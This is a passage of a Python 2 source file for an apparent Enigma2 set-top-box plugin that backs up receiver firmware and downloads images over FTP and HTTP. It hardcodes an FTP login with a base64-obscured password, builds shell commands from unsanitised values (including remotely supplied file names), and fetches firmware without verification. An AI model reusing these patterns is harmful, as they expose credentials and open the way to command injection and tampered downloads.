self.command = 'nanddump /dev/' + self.kernelMTD + ' -f ' + self.WORKDIR + '/vmlinux.gz'
self.Console.ePopen(self.command, self.Stage2Complete)
def Stage2Complete(self, result, retval, extra_args=None):
if retval == 0:
self.Stage2Completed = True
print '[ImageManager] Stage2: Complete.'
def doBackup3(self):
print '[ImageManager] Stage3: Unmounting and removing tmp system'
if path.exists(self.TMPDIR + '/root'):
self.command = 'umount ' + self.TMPDIR + '/root && rm -rf ' + self.TMPDIR
self.Console.ePopen(self.command, self.Stage3Complete)
def Stage3Complete(self, result, retval, extra_args=None):
if retval == 0:
self.Stage3Completed = True
print '[ImageManager] Stage3: Complete.'
def doBackup4(self):
print '[ImageManager] Stage4: Moving from work to backup folders'
move(self.WORKDIR + '/root.' + self.ROOTFSTYPE, self.MAINDEST + '/' + self.rootFILE)
move(self.WORKDIR + '/vmlinux.gz', self.MAINDEST + '/' + self.kernelFILE)
fileout = open(self.MAINDEST + '/imageversion', 'w')
line = defaultprefix + '-' + getImageType() + '-backup-' + getImageVersion() + '.' + getImageBuild() + '-' + self.BackupDate
fileout.write(line)
fileout.close()
if getBrandOEM() == 'vuplus':
if getMachineBuild() == 'vuzero':
fileout = open(self.MAINDEST + '/force.update', 'w')
line = "This file forces the update."
fileout.write(line)
fileout.close()
else:
fileout = open(self.MAINDEST + '/reboot.update', 'w')
line = "This file forces a reboot after the update."
fileout.write(line)
fileout.close()
imagecreated = True
elif getBrandOEM() in ('zgemma', 'xtrend', 'gigablue', 'odin', 'xp', 'ini', 'skylake', 'ixuss', 'blackbox', 'tripledot', 'entwopia'):
if getBrandOEM() in ('zgemma', 'xtrend', 'odin', 'ini', 'skylake', 'ixuss', 'blackbox', 'tripledot', 'entwopia'):
fileout = open(self.MAINDEST + '/noforce', 'w')
line = "rename this file to 'force' to force an update without confirmation"
fileout.write(line)
fileout.close()
if path.exists('/usr/lib/enigma2/python/Plugins/SystemPlugins/ViX/burn.bat'):
copy('/usr/lib/enigma2/python/Plugins/SystemPlugins/ViX/burn.bat', self.MAINDESTROOT + '/burn.bat')
print '[ImageManager] Stage4: Removing Swap.'
if path.exists(self.swapdevice + config.imagemanager.folderprefix.value + '-' + getImageType() + "-swapfile_backup"):
system('swapoff ' + self.swapdevice + config.imagemanager.folderprefix.value + '-' + getImageType() + "-swapfile_backup")
remove(self.swapdevice + config.imagemanager.folderprefix.value + '-' + getImageType() + "-swapfile_backup")
if path.exists(self.WORKDIR):
rmtree(self.WORKDIR)
if path.exists(self.MAINDEST + '/' + self.rootFILE) and path.exists(self.MAINDEST + '/' + self.kernelFILE):
for root, dirs, files in walk(self.MAINDEST):
for momo in dirs:
chmod(path.join(root, momo), 0644)
for momo in files:
chmod(path.join(root, momo), 0644)
print '[ImageManager] Stage4: Image created in ' + self.MAINDESTROOT
self.Stage4Complete()
else:
print "[ImageManager] Stage4: Image creation failed - e. g. wrong backup destination or no space left on backup device"
self.BackupComplete()
def Stage4Complete(self):
self.Stage4Completed = True
print '[ImageManager] Stage4: Complete.'
def doBackup5(self):
zipfolder = path.split(self.MAINDESTROOT)
self.commands = []
self.commands.append('cd ' + self.MAINDESTROOT + ' && zip -r ' + self.MAINDESTROOT + '.zip *')
self.commands.append('rm -rf ' + self.MAINDESTROOT)
self.Console.eBatch(self.commands, self.Stage5Complete, debug=True)
def Stage5Complete(self, anwser=None):
self.Stage5Completed = True
print '[ImageManager] Stage5: Complete.'
def BackupComplete(self, anwser=None):
if config.imagemanager.schedule.value:
atLeast = 60
autoImageManagerTimer.backupupdate(atLeast)
else:
autoImageManagerTimer.backupstop()
class ImageManagerDownload(Screen):
def __init__(self, session, BackupDirectory):
Screen.__init__(self, session)
Screen.setTitle(self, _("Image Manager"))
self.BackupDirectory = BackupDirectory
self['lab1'] = Label(_("Select an image to Download:"))
self["key_red"] = Button(_("Close"))
self["key_green"] = Button(_("Download"))
self.onChangedEntry = []
self.emlist = []
self['list'] = MenuList(self.emlist)
self.populate_List()
if not self.selectionChanged in self["list"].onSelectionChanged:
self["list"].onSelectionChanged.append(self.selectionChanged)
def selectionChanged(self):
for x in self.onChangedEntry:
x()
def populate_List(self):
try:
self['myactions'] = ActionMap(['ColorActions', 'OkCancelActions', 'DirectionActions'],
{
'cancel': self.close,
'red': self.close,
'green': self.keyDownload,
'ok': self.keyDownload,
}, -1)
if not path.exists(self.BackupDirectory):
mkdir(self.BackupDirectory, 0755)
from ftplib import FTP
import urllib, zipfile, base64
vix4sh4_user = 'viximages22@vix4.com'
vix4sh4_pwd = base64.b64decode('dml4aW1hZ2VzMjI=').replace('\n', '')
ftp = FTP('vix4.com')
ftp.login(vix4sh4_user, vix4sh4_pwd)
if getMachineMake() == 'amiko8900':
self.boxtype = 'amiko8900'
if getMachineMake() == 'amikomini':
self.boxtype = 'amikomini'
if getMachineMake() == 'amikoalien':
self.boxtype = 'amikoalien'
if getMachineMake() == 'enfinity':
self.boxtype = 'enfinity'
if getMachineMake() == 'axodin':
self.boxtype = 'axodin'
if getMachineMake() == 'x2plus':
self.boxtype = 'x2plus'
if getMachineMake() == 'gbquadplus':
self.boxtype = 'gbquadplus'
if getMachineMake() == 'gb800ueplus':
self.boxtype = 'gb800ueplus'
if getMachineMake() == 'gb800seplus':
self.boxtype = 'gb800seplus'
if getMachineMake() == 'gbipbox':
self.boxtype = 'gbipbox'
if getMachineMake() == 'gbultraue':
self.boxtype = 'gbultraue'
if getMachineMake() == 'gbx1':
self.boxtype = 'gbx1'
if getMachineMake() == 'gbx3':
self.boxtype = 'gbx3'
if getMachineMake() == 'vusolo':
self.boxtype = 'vusolo'
if getMachineMake() == 'vuduo':
self.boxtype = 'vuduo'
if getMachineMake() == 'vuuno':
self.boxtype = 'vuuno'
if getMachineMake() == 'vuultimo':
self.boxtype = 'vuultimo'
if getMachineMake() == 'vuzero':
self.boxtype = 'vuzero'
if getMachineMake() == 'vusolo2':
self.boxtype = 'vusolo2'
if getMachineMake() == 'vusolose':
self.boxtype = 'vusolose'
if getMachineMake() == 'vuduo2':
self.boxtype = 'vuduo2'
if getMachineMake() == 'ixussone':
self.boxtype = 'ixussone'
if getMachineMake() == 'quadbox2400':
self.boxtype = 'quadbox2400'
if getMachineMake() == 'x1plus':
self.boxtype = 'x1plus'
if getMachineMake() == 'xcombo':
self.boxtype = 'xcombo'
if getMachineMake() == 'evomini':
self.boxtype = 'evomini'
if getMachineMake() == 't2cable':
self.boxtype = 't2cable'
if getMachineMake() == 'uniboxhde':
self.boxtype = 'uniboxhde'
if getMachineMake() == 'mutant2400':
self.boxtype = 'mutant2400'
if getMachineMake() == 'mutant1100':
self.boxtype = 'mutant1100'
if getMachineMake() == 'mutant500c':
self.boxtype = 'mutant500c'
if getMachineMake() == 'mutant1200':
self.boxtype = 'mutant1200'
if getMachineMake() == 'tmnanoseplus':
self.boxtype = 'tmnanoseplus'
if getMachineMake() == 'tmnanosem2plus':
self.boxtype = 'tmnanosem2plus'
if getMachineMake() == 'purehd':
self.boxtype = 'purehd'
if getMachineMake() == 'fusionhd':
self.boxtype = 'fusionhd'
if getMachineMake() == 'fusionhdse':
self.boxtype = 'fusionhdse'
if getMachineMake() == 'zgemmah2s':
self.boxtype = 'zgemmah2s'
if getMachineMake() == 'novaip':
self.boxtype = 'novaip'
if getMachineMake() == 'novacombo':
self.boxtype = 'novacombo'
if getMachineMake() == 'novatwin':
self.boxtype = 'novatwin'
if getMachineMake() == 'wetekplay':
self.boxtype = 'wetekplay'
if getMachineMake() == 'mutant51':
self.boxtype = 'mutant51'
if getMachineMake() == 'mutant1500':
self.boxtype = 'mutant1500'
ftp.cwd(self.boxtype)
del self.emlist[:]
for fil in ftp.nlst():
if not fil.endswith('.') and fil.find(getMachineMake()) != -1:
self.emlist.append(fil)
self.emlist.sort()
self.emlist.reverse()
ftp.quit()
ftp.close()
except:
self['myactions'] = ActionMap(['ColorActions', 'OkCancelActions', 'DirectionActions'],
{
'cancel': self.close,
'red': self.close,
}, -1)
self.emlist.append(" ")
self["list"].setList(self.emlist)
self["list"].show()
def keyDownload(self):
self.sel = self['list'].getCurrent()
if self.sel:
message = _("Are you sure you want to download this image:\n ") + self.sel
ybox = self.session.openWithCallback(self.doDownload, MessageBox, message, MessageBox.TYPE_YESNO)
ybox.setTitle(_("Download Confirmation"))
else:
self.session.open(MessageBox, _("You have no image to download."), MessageBox.TYPE_INFO, timeout=10)
def doDownload(self, answer):
if answer is True:
self.selectedimage = self['list'].getCurrent()
file = self.BackupDirectory + self.selectedimage
mycmd1 = _("echo 'Downloading Image.'")
mycmd2 = "wget -q http://www.vix4.com/viximages/2.2/" + self.boxtype + "/" + self.selectedimage + " -O " + self.BackupDirectory + "image.zip"
mycmd3 = "mv " + self.BackupDirectory + "image.zip " + file
self.session.open(ScreenConsole, title=_('Downloading Image...'), cmdlist=[mycmd1, mycmd2, mycmd3], closeOnSuccess=True)
def myclose(self, result, retval, extra_args):
remove(self.BackupDirectory + self.selectedimage)
self.close()
|
mrnamingo/vix4-core
|
src/ImageManager.py
|
Python
|
gpl-2.0
| 37,839
|